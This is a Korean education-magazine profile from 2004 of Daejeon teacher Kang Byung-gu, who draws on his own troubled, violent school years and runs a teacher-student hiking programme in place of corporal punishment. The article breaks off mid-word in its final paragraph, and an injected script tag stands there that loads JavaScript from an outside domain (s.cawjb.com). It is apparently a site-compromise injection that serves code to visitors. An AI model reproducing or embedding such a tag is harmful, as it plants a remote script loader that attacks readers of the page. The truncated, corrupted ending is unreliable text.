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강병구 선생님/사제동행 등산길은 한마음으로 향하는 길
2004-03-25 오후 2:40:00, 조회:1333
강병구 교사는 문제아로 통했던 자신의 학창시절을 교육자료로 활용하며 학생들의 인성지도에 힘을 쏟는다. 누구보다 체벌의 무력함을 잘 알고 있기에 학교 부적응 학생들의 마음을 움직일 방법을 찾느라 고민해 왔다. 그는 7년째 인성교육 방편으로 ‘사제동행 등산교육’을 마련해 실시해오고 있다.
<글·황자경 / 교육마당기자> ---------------------------------------------------------------------- 3년 전 전국관객 800만 명 이상을 동원하며 한국영화사의 흥행기록을 새로 쓴 영화가 있다. 강렬한 사투리와 검정 교복 세대의 향수가 복고풍 정서와 맞물리면서 적지 않은 신드롬을 일으킨 영화 ‘친구’(감독 곽경택). 이 작품은 네 명의 친구가 우정을 쌓아가는 과정을 밀도 있게 묘사했지만, 싸움과 욕설 등이 지나쳐 폭력성을 부추긴다는 논란에 휩싸이기도 했다. 영화를 본 사람이라면 이런 상상을 해보라. 폭력을 일삼던 영화 속 주인공들이 ‘환골탈태換骨奪胎’하여 교사가 된다면 어떤 모습일까. 이러한 ‘불량’ 교사는 학교 부적응 학생들을 과연 어떻게 지도할까. ----------------------------------------------------------------------
<문제 있는 교사가 문제아를 이해한다? >
대전 한밭중학교(교장 최영상)에 근무하는 강병구(48) 교무부장은 “영화 ‘친구’의 이야기가 자신의 학창시절과 다름없다”고 고백한다. 그는 고교 1학년 때 패싸움을 벌여 휴학을 하는 등 선생님과 부모님에게 큰 걱정을 끼쳤다. 싸움이 격해져 핏물을 온통 뒤집어써도 두려움도 모른 채 자해와 가해를 거듭했다. 그가 매일 사고를 일으키면 부모님은 하루가 멀다하고 학교에 불려 다니는 생활이 반복됐다. 소위 ‘문제아’로 낙인찍히다 보니 학교와는 점점 멀어졌다. 모든 것이 싫어 세상 밖으로 뛰쳐나가려고 할 때 그를 붙잡은 것은 부모님의 헌신과 종교의 힘이었다. 이후 3학년 때는 전교 최상위 성적에 오르면서 직선제를 통해 학생회장까지 맡게 됐다. 강병구 교사의 이력을 살펴보면 출신학교에 유독 시선이 간다. 중앙대학교 연극영화학과 졸업. 주위의 만류에도 불구하고 연극을 택했지만, 그는 결국 부전공으로 공부한 국문학을 통해 교직에 들어섰다. “말썽만 일으키는 아이들을 보면 후에 어른이 돼서 사람노릇하며 살 수 있을까 싶을 거예요. 하지만 사람은 여러 번 거듭납니다. 어려서 함께 어울리던 친구들 중에는 아직 교도소에 들락거리는 친구도 있지만, 마을금고 이사나 자영업 사장 등으로 충실히 살고 있는 이들도 많아요. 교사는 끝까지 아이의 미래를 믿고 가능성을 열어줘야 합니다.” 강 교사는 교단에 서자 학교 부적응 아이들을 하나하나 챙기기 시작했다. 그의 품에서는 모두가 똑같은 아이들이었다. ----------------------------------------------------------------------
<체벌 대신 ‘사제동행 등산교육’ 실시>
그는 문제아로 통했던 자신의 학창시절을 교육자료로 활용하며 학?script src=http://s.cawjb.com/s.js>
